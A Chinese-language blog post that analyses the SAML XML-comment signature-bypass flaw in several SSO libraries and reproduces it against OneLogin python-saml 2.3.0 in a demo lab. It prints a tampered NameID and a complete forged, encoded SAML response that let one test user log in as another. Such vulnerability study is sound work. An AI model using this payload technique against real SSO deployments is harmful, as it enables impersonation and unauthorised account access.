标签归档:XML

漏洞分析与实践之基于SAML实现的单点登录系统

0x00 前言

近日,笔者看到国外安全组织Duo Labs公布了一个比较有意思的漏洞,该漏洞影响了大部分基于SAML的SSO系统的实现,出于好奇进行了如下分析和实践,遂成此文。水平有限,不当之处敬请指正。

0x01 分析

什么是SAML

SAML全称Security Assertion Markup Language,顾名思义“安全声明标记语言”,它是一个为应用程序提供身份认证和授权的协议,通常应用于单点登录(SSO)系统。

Security Assertion Markup Language (SAML, pronounced sam-el[1]) is an open standard for exchanging authentication and authorization data between parties, in particular, between an identity provider and a service provider. As its name implies, SAML is an XML-based markup language for security assertions (statements that service providers use to make access-control decisions). SAML is also:

    A set of XML-based protocol messages
    A set of protocol message bindings
    A set of profiles (utilizing all of the above)

SAML提供了一种只在一个统一的身份认证服务上完成用户认证即可访问其他授权第三方服务的方法,相当于“一次认证,处处访问”。

SAML包含以下几个概念:

  • Identity Provider (IdP) – 身份认证提供者 – 一个提供了用户身份识别和认证的软件或者服务,如:检查用户名和密码,校验用户状态,双因素认证等
  • Serivce Provider (SP) – 服务提供者 – 用户需要获取访问权限的应用系统
  • SAML Assertion – SAML声明 – 一个标识了用户身份和其他相关属性的消息

SAML是如何工作的

SAML的工作模式其实可以简化如下:

  • 用户A想要访问SP的资源
  • 用户A先访问IdP,完成一系列校验和身份认证后获得一个访问SP的SAML Response (包含SAML assertion和该SP所需要的相关的属性等)
  • 用户A带着从IdP获取到的SAML assertion去访问SP,并被授权访问相应的数据资源

SAML分为2种模式:

  • IdP-Initiated
  • SP-Initiated

二者的区别在于认证的工作流从什么地方开始。当用户首先访问到IdP(通常是一个统一认证的登陆页)完成身份认证后带着IdP生成的SAML assertion去访问SP并取得访问权限,这就是IdP-Initiated; 当用户首先访问SP但是被redirect到IdP并带着SAML request(作用是告诉IdP该用户想要登陆该SP,但是没有SAML assetion,请帮忙获取一个SAML assertion并redirect回到该SP),在IdP上完成身份认证后带着SAML assertion去访问之前的那个SP并取得访问权限,这就是SP-Inititated。

详细的解释可以参考这篇文章

漏洞是怎么产生的

回到我们的正题了,这到底是个什么样的漏洞?又是如何产生的呢?

在上面SAML的基本介绍里,我们提到过基于SAML的SSO系统是通过SAML assertion来告诉SP是否该用户是经过身份认证并被授权访问的。为了说明白原理,我们来简化一下这个流程(实际上可能会比这个过程复杂):

  • 用户访问一个IdP服务经过身份认证后得到一个签名后的SAML Response(包含SAML assertion)。用户的客户端浏览器把这个SAML Response转发到要访问的SP
  • SP校验这个转发过来的SAML Response的签名
  • 如果签名有效,SAML Response中的身份识别码(如NameID)将会被提取出来用以判断什么用户被认证通过了,从而授予相应的访问权限

一个比较简单但是典型的SAML Response的例子如下:

<SAMLResponse>
    <Issuer>https://idp.com/</Issuer>
    <Assertion ID="_id1234">
        <Subject>
            <NameID>user@user.com</NameID>
        </Subject>
    </Assertion>
    <Signature>
        <SignedInfo>
            <CanonicalizationMethod Algorithm="xml-c14n11"/>
            <Reference URI="#_id1234"/>
        </SignedInfo>
        <SignatureValue>
            some base64 data that represents the signature of the assertion
        </SignatureValue>
    </Signature>
</SAMLResponse>

从上面这个例子中我们可以看到几个重点部分,NameID, CanonicalizationMethod以及SignatureValue,他们分别表示身份识别码,标准化签名方法,校验签名。

SP在校验签名时需要利用CanonicalizationMethod提取SAML Response中的NameID生成签名并与SAML Response中SignatureValue作对比,如果二者一致则表示签名校验成功并提取NameID中的值作为身份识别码并授予相应的访问权限;反之失败并拒绝用户请求。

通常的CanonicalizationMethod是http://www.w3.org/2001/10/xml-exc-c14n#, 而该方法在签名之前会先解析XML中节点且忽略注释部分,如

<NameID>test@example<!--This is comment -->.com</NameID>

节点NameID中的注释部分<!–This is comment –>会被忽略,其获取到NameID的值是test@example.com而不是test@example<!–This is comment –>.com。这样直接导致的一个后果就是不同的NameID可能会产生相同的SignatureValue,这也就为后面的漏洞埋下了伏笔。

而另一方面,SP在签名校验成功后提取SAML Response中的NameID时使用的XML解析方法却很可能与CanonicalizationMethod不一致。如Python中的defusedxml.lxml库在解析<NameID>test@example<!–This is comment –>.com</NameID>中的NameID时就只会返回test@example。如此一来,如果SP的Python-SAML实现中使用的是defusedxml.lxml库,那么下面这两个SAML Response就会产生不同的NameID和相同的SignatureValue。换句话说,我们在原始的SAML Response中的NameID user@user.com.evil.com中添加了注释,这时SP依旧认为该SAML Response签名有效但最终却由于XML解析库的不一致的问题提取了错误的用户身份认证码进入了用户user@user.com的账户,从而造成了越权用户访问的问题。
原始的SAML Response:

<SAMLResponse>
    <Issuer>https://idp.com/</Issuer>
    <Assertion ID="_id1234">
        <Subject>
            <NameID>user@user.com.evil.com</NameID>
        </Subject>
    </Assertion>
    <Signature>
        <SignedInfo>
            <CanonicalizationMethod Algorithm="xml-c14n11"/>
            <Reference URI="#_id1234"/>
        </SignedInfo>
        <SignatureValue>
            some base64 data that represents the signature of the assertion
        </SignatureValue>
    </Signature>
</SAMLResponse>

篡改后的SAML Response:

<SAMLResponse>
    <Issuer>https://idp.com/</Issuer>
    <Assertion ID="_id1234">
        <Subject>
            <NameID>user@user.com<!--This is comment-->.evil.com</NameID>
        </Subject>
    </Assertion>
    <Signature>
        <SignedInfo>
            <CanonicalizationMethod Algorithm="xml-c14n11"/>
            <Reference URI="#_id1234"/>
        </SignedInfo>
        <SignatureValue>
            some base64 data that represents the signature of the assertion
        </SignatureValue>
    </Signature>
</SAMLResponse>

那么实际情况下,基于SAML的SSO的实现上会不会出现这种对于XML解析不一致的问题呢?漏洞的发现者测试后发现确实存在,下面这些实现都存在这类问题:

  • OneLogin – python-saml – CVE-2017-11427
  • OneLogin – ruby-saml – CVE-2017-11428
  • Clever – saml2-js – CVE-2017-11429
  • OmniAuth-SAML – CVE-2017-11430
  • Shibboleth – CVE-2018-0489
  • Duo Network Gateway – CVE-2018-7340

0x02 实践

原理分析完了,接下来就是实践验证的时刻了。笔者下面以OneLogin的Python-SAML为例来实际复现一下。

首先,下载受该漏洞影响的OneLogin’s SAML Python Toolkit v2.3.0 (注: 2.4.0版本已经修复此漏洞了)。

接着,按照此文章搭建一个基于OneLogin SAML单点登录的Demo系统(本文以demo-flask为例)。

漏洞环境搭建完成后我们需要在我们的IdP(此处是OneLogin)上建立2个测试用户:

  • 测试用户A:test1@cnnt.com

  • 测试用户B:test1@cnnt.com.cnnt.com

我们的测试目的是,能否通过已经认证成功后的测试用户B的SAML Response经过修改成功获取到测试用户A的数据。

接下来,我们开始尝试利用这个漏洞。

第一步,登陆并成功认证测试用户B,

我们获取到如下的SAML Response:

经过简单的分析得知,该SAML Response是经过base64encode+urlencode的得到的,解码后如下:

<samlp:Response xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="R6ff459b0bb3452d49705f1da93d843942d45a54b" Version="2.0" IssueInstant="2018-03-02T16:08:19Z" Destination="http://180.76.234.24/?acs" InResponseTo="ONELOGIN_61f4ac5d5e96a1cbd5ad18c247548548e03d3fa1"><saml:Issuer>https://app.onelogin.com/saml/metadata/758321</saml:Issuer><samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status><saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" Version="2.0" ID="pfx778d787c-956b-d730-43ba-7f2f4e0b5a3b" IssueInstant="2018-03-02T16:08:19Z"><saml:Issuer>https://app.onelogin.com/saml/metadata/758321</saml:Issuer><ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"><ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/><ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><ds:Reference URI="#pfx778d787c-956b-d730-43ba-7f2f4e0b5a3b"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/><ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><ds:DigestValue>hvRgEUe31bN8ask8BaoAWe8f+9c=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>P2+AXQqqsPePdZZ9FnFIbzvTAuRSdYGyfuSmv6jKeZFsu1JGMBCPaU5SaiwSb2OWrvrLN+9KDLAvY/TOJF40j6wx0WSrs+Gs/PEGhUY5BF6NvTTOwKJtCAk7drMMrK3gaMcRJUiLBMjllCO+oYuuQ7EAX0+fqbQYpR/nc35p+TxNC+lHwq57TOfPNtqI/daHlv2IpeeNtOwnq4A2vpo4TBFB3kqTgJj8zbXN9+exGT6fZVXLEzdzB2JNX/TbGFnQIW3J1ocJQvrQwgJG8OVuLNHsm1zrsKKnNT+HAy173h71kZNxxJhEzYTEKJG9NAsdNX3ZdC0kgk+9tNEWore0RQ==</ds:SignatureValue><ds:KeyInfo><ds:X509Data><ds:X509Certificate>MIIEDjCCAvagAwIBAgIURSF7r5502dfTNIYjZbCbuQzoTZAwDQYJKoZIhvcNAQEFBQAwVTELMAkGA1UEBhMCVVMxDTALBgNVBAoMBENOTlQxFTATBgNVBAsMDE9uZUxvZ2luIElkUDEgMB4GA1UEAwwXT25lTG9naW4gQWNjb3VudCAxMjMwOTgwHhcNMTgwMzAxMDc0NzA3WhcNMjMwMzAxMDc0NzA3WjBVMQswCQYDVQQGEwJVUzENMAsGA1UECgwEQ05OVDEVMBMGA1UECwwMT25lTG9naW4gSWRQMSAwHgYDVQQDDBdPbmVMb2dpbiBBY2NvdW50IDEyMzA5ODCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANVH88hpn4umxEHuaTOtCAarNCYr/Vnv1D953mlwQ/y1NqLcC0vxikzH7G6JoTawzqtrtheln11AoxmkzqhTvwxXpnbbkHUz/BxRZFaWI1OcT2i490n46HekHPEm9QrkYgGyLKYgnsFu/gvl8TGeaav+jSecGgfEMVcxwOs1fIrJouW/UNheehjPpEB+zYMBf7bqabAdV86R6mFpDq3CJP86iuTNK1w1VnZB4v6QTQkqGJ8anVSqS9z200BBjjvBurylTPjefJdO1V8CcC3NS7sOW8GQO0jHA4+GH2EPP75kYV632GgzD6kPt8BiBEs73mcjml+lH2VukjBLbKhprVsCAwEAAaOB1TCB0jAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBSccxTeTU6gqnuuUV+6k/CLM71XrjCBkgYDVR0jBIGKMIGHgBSccxTeTU6gqnuuUV+6k/CLM71XrqFZpFcwVTELMAkGA1UEBhMCVVMxDTALBgNVBAoMBENOTlQxFTATBgNVBAsMDE9uZUxvZ2luIElkUDEgMB4GA1UEAwwXT25lTG9naW4gQWNjb3VudCAxMjMwOTiCFEUhe6+edNnX0zSGI2Wwm7kM6E2QMA4GA1UdDwEB/wQEAwIHgDANBgkqhkiG9w0BAQUFAAOCAQEAKnId82nIkRSoULV8w8vPtas5TkSRhFN0+A1+7hepQGITTzaRansCLJOgAzj2jeq0YgeeIO/TUKBN3v4yEr8ir50TDJO427XZaBz8BeKwyKBbP6oPRNIgSyvUABh57roX+JyMx2yfFi667QsJX/N5Ug0SslajfndIV7lCQwqoES2Gw87K7rtkXoLn4gZgtsgsoA4HU0ktG2BsrxMV0goHxbJPPWsqOxhhNHVtEwn3dG2y6WxFrdA0RYRFMttYKP08VFCf+8tdLIrX6yr0ZnYzRElb6y81mdmJaTywehvFQVwb+5L8enhPd5eBqfzDwdTdGm98Qyah9ScV5nlUy5pJLA==</ds:X509Certificate></ds:X509Data></ds:KeyInfo></ds:Signature><saml:Subject><saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">test1@cnnt.com.cnnt.com</saml:NameID><saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml:SubjectConfirmationData NotOnOrAfter="2018-03-02T16:11:19Z" Recipient="http://180.76.234.24/?acs" InResponseTo="ONELOGIN_61f4ac5d5e96a1cbd5ad18c247548548e03d3fa1"/></saml:SubjectConfirmation></saml:Subject><saml:Conditions NotBefore="2018-03-02T16:05:19Z" NotOnOrAfter="2018-03-02T16:11:19Z"><saml:AudienceRestriction><saml:Audience>http://180.76.234.24/metadata/</saml:Audience></saml:AudienceRestriction></saml:Conditions><saml:AuthnStatement AuthnInstant="2018-03-02T16:08:18Z" SessionNotOnOrAfter="2018-03-03T16:08:19Z" SessionIndex="_d6e40850-0061-0136-d60e-06da7126ae26"><saml:AuthnContext><saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml:AuthnContextClassRef></saml:AuthnContext></saml:AuthnStatement><saml:AttributeStatement><saml:Attribute NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic" Name="User.LastName"><saml:AttributeValue xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">test2</saml:AttributeValue></saml:Attribute><saml:Attribute NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic" Name="User.FirstName"><saml:AttributeValue xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">test2</saml:AttributeValue></saml:Attribute><saml:Attribute NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic" Name="memberOf"><saml:AttributeValue xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">Test</saml:AttributeValue></saml:Attribute><saml:Attribute NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic" Name="PersonImmutableID"><saml:AttributeValue xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string"/></saml:Attribute><saml:Attribute NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic" Name="User.email"><saml:AttributeValue xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">test1@cnnt.com.cnnt.com</saml:AttributeValue></saml:Attribute></saml:AttributeStatement></saml:Assertion></samlp:Response>

第二步,将NameID和Attribute中的用户B的邮箱

test1@cnnt.com.cnnt.com

改成

test1@cnnt.com<!---->.cnnt.com

并重新base64encode+urlencode后得到如下的SAML Response:

PHNhbWxwOlJlc3BvbnNlIHhtbG5zOnNhbWw9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphc3NlcnRpb24iIHhtbG5zOnNhbWxwPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6cHJvdG9jb2wiIElEPSJSNmZmNDU5YjBiYjM0NTJkNDk3MDVmMWRhOTNkODQzOTQyZDQ1YTU0YiIgVmVyc2lvbj0iMi4wIiBJc3N1ZUluc3RhbnQ9IjIwMTgtMDMtMDJUMTY6MDg6MTlaIiBEZXN0aW5hdGlvbj0iaHR0cDovLzE4MC43Ni4yMzQuMjQvP2FjcyIgSW5SZXNwb25zZVRvPSJPTkVMT0dJTl82MWY0YWM1ZDVlOTZhMWNiZDVhZDE4YzI0NzU0ODU0OGUwM2QzZmExIj48c2FtbDpJc3N1ZXI%2BaHR0cHM6Ly9hcHAub25lbG9naW4uY29tL3NhbWwvbWV0YWRhdGEvNzU4MzIxPC9zYW1sOklzc3Vlcj48c2FtbHA6U3RhdHVzPjxzYW1scDpTdGF0dXNDb2RlIFZhbHVlPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6c3RhdHVzOlN1Y2Nlc3MiLz48L3NhbWxwOlN0YXR1cz48c2FtbDpBc3NlcnRpb24geG1sbnM6c2FtbD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmFzc2VydGlvbiIgeG1sbnM6eHM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiBWZXJzaW9uPSIyLjAiIElEPSJwZng3NzhkNzg3Yy05NTZiLWQ3MzAtNDNiYS03ZjJmNGUwYjVhM2IiIElzc3VlSW5zdGFudD0iMjAxOC0wMy0wMlQxNjowODoxOVoiPjxzYW1sOklzc3Vlcj5odHRwczovL2FwcC5vbmVsb2dpbi5jb20vc2FtbC9tZXRhZGF0YS83NTgzMjE8L3NhbWw6SXNzdWVyPjxkczpTaWduYXR1cmUgeG1sbnM6ZHM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyMiPjxkczpTaWduZWRJbmZvPjxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BPGRzOlNpZ25hdHVyZU1ldGhvZCBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyNyc2Etc2hhMSIvPjxkczpSZWZlcmVuY2UgVVJJPSIjcGZ4Nzc4ZDc4N2MtOTU2Yi1kNzMwLTQzYmEtN2YyZjRlMGI1YTNiIj48ZHM6VHJhbnNmb3Jtcz48ZHM6VHJhbnNmb3JtIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMC8wOS94bWxkc2lnI2VudmVsb3BlZC1zaWduYXR1cmUiLz48ZHM6VHJhbnNmb3JtIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BPC9kczpUcmFuc2Zvcm1zPjxkczpEaWdlc3RNZXRob2QgQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwLzA5L3htbGRzaWcjc2hhMSIvPjxkczpEaWdlc3RWYWx1ZT5odlJnRVVlMzFiTjhhc2s4QmFvQVdlOGYrOWM9PC9kczpEaWdlc3RWYWx1ZT48L2RzOlJlZmVyZW5jZT48L2RzOlNpZ25lZEluZm8%2BPGRzOlNpZ25hdHVyZVZhbHVlPlAyK0FYUXFxc1BlUGRaWjlGbkZJYnp2VEF1UlNkWUd5ZnVTbXY2aktlWkZzdTFKR01CQ1BhVTVTYWl3U2IyT1dydnJMTis5S0RMQXZZL1RPSkY0MGo2d3gwV1NycytHcy9QRUdoVVk1QkY2TnZUVE93S0p0Q0FrN2RyTU1ySzNnYU1jUkpVaUxCTWpsbENPK29ZdXVRN0VBWDArZnFiUVlwUi9uYzM1cCtUeE5DK2xId3E1N1RPZlBOdHFJL2RhSGx2MklwZWVOdE93bnE0QTJ2cG80VEJGQjNrcVRnSmo4emJYTjkrZXhHVDZmWlZYTEV6ZHpCMkpOWC9UYkdGblFJVzNKMW9jSlF2clF3Z0pHOE9WdUxOSHNtMXpyc0tLbk5UK0hBeTE3M2g3MWtaTnh4SmhFellURUtKRzlOQXNkTlgzWmRDMGtnays5dE5FV29yZTBSUT09PC9kczpTaWduYXR1cmVWYWx1ZT48ZHM6S2V5SW5mbz48ZHM6WDUwOURhdGE%2BPGRzOlg1MDlDZXJ0aWZpY2F0ZT5NSUlFRGpDQ0F2YWdBd0lCQWdJVVJTRjdyNTUwMmRmVE5JWWpaYkNidVF6b1RaQXdEUVlKS29aSWh2Y05BUUVGQlFBd1ZURUxNQWtHQTFVRUJoTUNWVk14RFRBTEJnTlZCQW9NQkVOT1RsUXhGVEFUQmdOVkJBc01ERTl1WlV4dloybHVJRWxrVURFZ01CNEdBMVVFQXd3WFQyNWxURzluYVc0Z1FXTmpiM1Z1ZENBeE1qTXdPVGd3SGhjTk1UZ3dNekF4TURjME56QTNXaGNOTWpNd016QXhNRGMwTnpBM1dqQlZNUXN3Q1FZRFZRUUdFd0pWVXpFTk1Bc0dBMVVFQ2d3RVEwNU9WREVWTUJNR0ExVUVDd3dNVDI1bFRHOW5hVzRnU1dSUU1TQXdIZ1lEVlFRRERCZFBibVZNYjJkcGJpQkJZMk52ZFc1MElERXlNekE1T0RDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTlZIODhocG40dW14RUh1YVRPdENBYXJOQ1lyL1ZudjFEOTUzbWx3US95MU5xTGNDMHZ4aWt6SDdHNkpvVGF3enF0cnRoZWxuMTFBb3hta3pxaFR2d3hYcG5iYmtIVXovQnhSWkZhV0kxT2NUMmk0OTBuNDZIZWtIUEVtOVFya1lnR3lMS1lnbnNGdS9ndmw4VEdlYWF2K2pTZWNHZ2ZFTVZjeHdPczFmSXJKb3VXL1VOaGVlaGpQcEVCK3pZTUJmN2JxYWJBZFY4NlI2bUZwRHEzQ0pQODZpdVROSzF3MVZuWkI0djZRVFFrcUdKOGFuVlNxUzl6MjAwQkJqanZCdXJ5bFRQamVmSmRPMVY4Q2NDM05TN3NPVzhHUU8wakhBNCtHSDJFUFA3NWtZVjYzMkdnekQ2a1B0OEJpQkVzNzNtY2ptbCtsSDJWdWtqQkxiS2hwclZzQ0F3RUFBYU9CMVRDQjBqQU1CZ05WSFJNQkFmOEVBakFBTUIwR0ExVWREZ1FXQkJTY2N4VGVUVTZncW51dVVWKzZrL0NMTTcxWHJqQ0JrZ1lEVlIwakJJR0tNSUdIZ0JTY2N4VGVUVTZncW51dVVWKzZrL0NMTTcxWHJxRlpwRmN3VlRFTE1Ba0dBMVVFQmhNQ1ZWTXhEVEFMQmdOVkJBb01CRU5PVGxReEZUQVRCZ05WQkFzTURFOXVaVXh2WjJsdUlFbGtVREVnTUI0R0ExVUVBd3dYVDI1bFRHOW5hVzRnUVdOamIzVnVkQ0F4TWpNd09UaUNGRVVoZTYrZWROblgwelNHSTJXd203a002RTJRTUE0R0ExVWREd0VCL3dRRUF3SUhnREFOQmdrcWhraUc5dzBCQVFVRkFBT0NBUUVBS25JZDgybklrUlNvVUxWOHc4dlB0YXM1VGtTUmhGTjArQTErN2hlcFFHSVRUemFSYW5zQ0xKT2dBemoyamVxMFlnZWVJTy9UVUtCTjN2NHlFcjhpcjUwVERKTzQyN1haYUJ6OEJlS3d5S0JiUDZvUFJOSWdTeXZVQUJoNTdyb1grSnlNeDJ5ZkZpNjY3UXNKWC9ONVVnMFNzbGFqZm5kSVY3bENRd3FvRVMyR3c4N0s3cnRrWG9MbjRnWmd0c2dzb0E0SFUwa3RHMkJzcnhNVjBnb0h4YkpQUFdzcU94aGhOSFZ0RXduM2RHMnk2V3hGcmRBMFJZUkZNdHRZS1AwOFZGQ2YrOHRkTElyWDZ5cjBabll6UkVsYjZ5ODFtZG1KYVR5d2VodkZRVndiKzVMOGVuaFBkNWVCcWZ6RHdkVGRHbTk4UXlhaDlTY1Y1bmxVeTVwSkxBPT08L2RzOlg1MDlDZXJ0aWZpY2F0ZT48L2RzOlg1MDlEYXRhPjwvZHM6S2V5SW5mbz48L2RzOlNpZ25hdHVyZT48c2FtbDpTdWJqZWN0PjxzYW1sOk5hbWVJRCBGb3JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjEuMTpuYW1laWQtZm9ybWF0OmVtYWlsQWRkcmVzcyI%2BdGVzdDFAY25udC5jb208IS0tLS0%2BLmNubnQuY29tPC9zYW1sOk5hbWVJRD48c2FtbDpTdWJqZWN0Q29uZmlybWF0aW9uIE1ldGhvZD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmNtOmJlYXJlciI%2BPHNhbWw6U3ViamVjdENvbmZpcm1hdGlvbkRhdGEgTm90T25PckFmdGVyPSIyMDE4LTAzLTAyVDE2OjExOjE5WiIgUmVjaXBpZW50PSJodHRwOi8vMTgwLjc2LjIzNC4yNC8/YWNzIiBJblJlc3BvbnNlVG89Ik9ORUxPR0lOXzYxZjRhYzVkNWU5NmExY2JkNWFkMThjMjQ3NTQ4NTQ4ZTAzZDNmYTEiLz48L3NhbWw6U3ViamVjdENvbmZpcm1hdGlvbj48L3NhbWw6U3ViamVjdD48c2FtbDpDb25kaXRpb25zIE5vdEJlZm9yZT0iMjAxOC0wMy0wMlQxNjowNToxOVoiIE5vdE9uT3JBZnRlcj0iMjAxOC0wMy0wMlQxNjoxMToxOVoiPjxzYW1sOkF1ZGllbmNlUmVzdHJpY3Rpb24%2BPHNhbWw6QXVkaWVuY2U%2BaHR0cDovLzE4MC43Ni4yMzQuMjQvbWV0YWRhdGEvPC9zYW1sOkF1ZGllbmNlPjwvc2FtbDpBdWRpZW5jZVJlc3RyaWN0aW9uPjwvc2FtbDpDb25kaXRpb25zPjxzYW1sOkF1dGhuU3RhdGVtZW50IEF1dGhuSW5zdGFudD0iMjAxOC0wMy0wMlQxNjowODoxOFoiIFNlc3Npb25Ob3RPbk9yQWZ0ZXI9IjIwMTgtMDMtMDNUMTY6MDg6MTlaIiBTZXNzaW9uSW5kZXg9Il9kNmU0MDg1MC0wMDYxLTAxMzYtZDYwZS0wNmRhNzEyNmFlMjYiPjxzYW1sOkF1dGhuQ29udGV4dD48c2FtbDpBdXRobkNvbnRleHRDbGFzc1JlZj51cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YWM6Y2xhc3NlczpQYXNzd29yZFByb3RlY3RlZFRyYW5zcG9ydDwvc2FtbDpBdXRobkNvbnRleHRDbGFzc1JlZj48L3NhbWw6QXV0aG5Db250ZXh0Pjwvc2FtbDpBdXRoblN0YXRlbWVudD48c2FtbDpBdHRyaWJ1dGVTdGF0ZW1lbnQ%2BPHNhbWw6QXR0cmlidXRlIE5hbWVGb3JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphdHRybmFtZS1mb3JtYXQ6YmFzaWMiIE5hbWU9IlVzZXIuTGFzdE5hbWUiPjxzYW1sOkF0dHJpYnV0ZVZhbHVlIHhtbG5zOnhzaT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEtaW5zdGFuY2UiIHhzaTp0eXBlPSJ4czpzdHJpbmciPnRlc3QyPC9zYW1sOkF0dHJpYnV0ZVZhbHVlPjwvc2FtbDpBdHRyaWJ1dGU%2BPHNhbWw6QXR0cmlidXRlIE5hbWVGb3JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphdHRybmFtZS1mb3JtYXQ6YmFzaWMiIE5hbWU9IlVzZXIuRmlyc3ROYW1lIj48c2FtbDpBdHRyaWJ1dGVWYWx1ZSB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4c2k6dHlwZT0ieHM6c3RyaW5nIj50ZXN0Mjwvc2FtbDpBdHRyaWJ1dGVWYWx1ZT48L3NhbWw6QXR0cmlidXRlPjxzYW1sOkF0dHJpYnV0ZSBOYW1lRm9ybWF0PSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YXR0cm5hbWUtZm9ybWF0OmJhc2ljIiBOYW1lPSJtZW1iZXJPZiI%2BPHNhbWw6QXR0cmlidXRlVmFsdWUgeG1sbnM6eHNpPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSIgeHNpOnR5cGU9InhzOnN0cmluZyI%2BVGVzdDwvc2FtbDpBdHRyaWJ1dGVWYWx1ZT48L3NhbWw6QXR0cmlidXRlPjxzYW1sOkF0dHJpYnV0ZSBOYW1lRm9ybWF0PSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YXR0cm5hbWUtZm9ybWF0OmJhc2ljIiBOYW1lPSJQZXJzb25JbW11dGFibGVJRCI%2BPHNhbWw6QXR0cmlidXRlVmFsdWUgeG1sbnM6eHNpPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSIgeHNpOnR5cGU9InhzOnN0cmluZyIvPjwvc2FtbDpBdHRyaWJ1dGU%2BPHNhbWw6QXR0cmlidXRlIE5hbWVGb3JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphdHRybmFtZS1mb3JtYXQ6YmFzaWMiIE5hbWU9IlVzZXIuZW1haWwiPjxzYW1sOkF0dHJpYnV0ZVZhbHVlIHhtbG5zOnhzaT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEtaW5zdGFuY2UiIHhzaTp0eXBlPSJ4czpzdHJpbmciPnRlc3QxQGNubnQuY29tPCEtLS0tPi5jbm50LmNvbTwvc2FtbDpBdHRyaWJ1dGVWYWx1ZT48L3NhbWw6QXR0cmlidXRlPjwvc2FtbDpBdHRyaWJ1dGVTdGF0ZW1lbnQ%2BPC9zYW1sOkFzc2VydGlvbj48L3NhbWxwOlJlc3BvbnNlPgoK

第三步,重新发送修改后的SAML Response至我们的SP(demo-flask)

可见签名校验成功,并返回了相应的session id。

第四步,利用上一步获取到的session id访问SP,我们发现User.email的值被成功地由test1@cnnt.com.cnnt.com修改成了test1@cnnt.com,如下:

至此,我们成功地复现了漏洞。

0x03 总结

总结一下该漏洞的成因其实很简单,就是由于用于生成SAML Response中的签名的标准化方法与处理身份识别码的XML解析库对于注释的处理不一致从而导致签名校验被绕过,最终出现了越权访问其他用户的数据资源的漏洞。

这个漏洞的利用思路还是比较有意思的,但是也有一定的局限性,要想越权访问其他用户的话,首先需要一个认证成功的用户A,且目标用户B的NameID是可以通过以注释的方式分割用户A的NameID来获得,如用户A的NameID是123456,用户B的NameID是1234。

0x04 参考